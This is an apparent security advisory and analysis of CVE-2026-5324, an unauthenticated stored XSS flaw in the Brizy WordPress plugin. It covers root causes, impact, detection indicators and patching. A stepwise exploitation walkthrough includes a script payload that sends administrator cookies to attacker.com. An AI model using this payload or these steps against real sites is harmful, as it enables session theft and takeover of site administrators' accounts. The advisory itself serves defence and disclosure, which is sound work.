CVE-2026-5324: 
WordPress vulnerability analysis and mitigation

CVE-2026-5324 is an Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Brizy – Page Builder plugin for WordPress, affecting all versions up to and including 2.8.11. The flaw arises from a combination of missing nonce verification for unauthenticated form submissions, improper handling of FileUpload fields, and insecure output encoding reversal in the admin view. It was published on May 2, 2026, with a patch available in version 2.8.12. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and results from three compounding weaknesses in the Brizy plugin (GitHub Advisory). First, the submit_form() function in api.php (line 198) skips nonce verification for non-logged-in users, allowing unauthenticated form submissions. Second, the handleFileTypeFields() function fails to overwrite user-supplied values in FileUpload fields when no file is actually attached, leaving attacker-controlled input intact. Third, while htmlentities() is applied during storage, html_entity_decode() reverses this encoding on display (form-entries.php:79), and the form-data.php template outputs FileUpload values directly in href attributes without using esc_url(), enabling script injection that executes when an administrator views the form Leads page (GitHub Advisory).

Successful exploitation allows unauthenticated attackers to persistently inject arbitrary JavaScript into the WordPress admin panel, specifically the form Leads page. When an administrator views this page, the injected script executes in their browser context, potentially enabling session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and further site compromise. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the broader WordPress environment (GitHub Advisory).

No public proof-of-concept exploit code has been observed, and there is no evidence of active in-the-wild exploitation at this time (GitHub Advisory). The vulnerability requires no authentication and no user interaction from the attacker — only the passive action of an administrator viewing the Leads page triggers the payload. The EPSS score is approximately 0.091% (0.174% per GitHub Advisory), placing it in the 39th percentile for exploitation likelihood. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify WordPress sites running the Brizy – Page Builder plugin version 2.8.11 or earlier using tools like WPScan, Shodan, or by checking publicly accessible plugin metadata at wp-content/plugins/brizy/readme.txt.
2. Locate a Brizy form: Find a page on the target site that contains a Brizy-built form with a FileUpload field, accessible without authentication.
3. Craft a malicious form submission: Submit the form via HTTP POST to the Brizy form submission endpoint (handled by api.php) without a valid nonce. In the FileUpload field value, inject a malicious JavaScript payload (e.g., javascript:/*--></title></style></textarea></script><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>) without attaching an actual file.
4. Payload persistence: Because handleFileTypeFields() does not overwrite the user-supplied value when no file is uploaded, and htmlentities() encoding is reversed by html_entity_decode() on display, the malicious value is stored and later rendered unescaped in an href attribute in form-data.php.
5. Trigger execution: Wait for a WordPress administrator to navigate to the form Leads page in the admin panel. The injected script executes in the administrator's browser, enabling session cookie theft, account takeover, or other malicious actions (GitHub Advisory).

• Network: Unexpected HTTP POST requests to the Brizy form submission endpoint (/wp-admin/admin-ajax.php or similar Brizy API endpoints) from unauthenticated users containing JavaScript or URI-scheme payloads (e.g., javascript:) in FileUpload field parameters.
• Logs: WordPress access logs showing form submissions with no file attachment but suspicious string values in FileUpload parameters; admin page access to the Brizy Leads view shortly followed by outbound requests to unknown external domains.
• File System: No direct file artifacts expected, but review stored form entry data in the WordPress database (wp_brizy_form_entries or equivalent table) for entries containing <script>, javascript:, or encoded XSS payloads in FileUpload fields.
• Process/Browser: Unexpected outbound requests from administrator browsers to external domains immediately after viewing the Brizy Leads admin page; new administrator accounts created without authorization.

The primary remediation is to update the Brizy – Page Builder plugin to version 2.8.12 or later, which addresses the missing nonce verification, improper FileUpload field handling, and unescaped output issues (GitHub Advisory). As interim workarounds, administrators should restrict access to the form Leads admin page to trusted users only, and deploy a Web Application Firewall (WAF) with rules to block JavaScript and URI-scheme payloads in form submissions. Additionally, review existing form Leads entries for suspicious content and purge any malicious entries from the database.

Wordfence included CVE-2026-5324 in their weekly WordPress vulnerability report for the period of April 27 – May 3, 2026, highlighting it as a notable stored XSS issue in the Brizy plugin (Wordfence Blog). Sucuri also referenced the vulnerability in their May 2026 vulnerability patch roundup (Sucuri Blog). Social media activity was limited to automated CVE notification accounts on Bluesky and Mastodon, with no significant researcher commentary or broader community debate observed.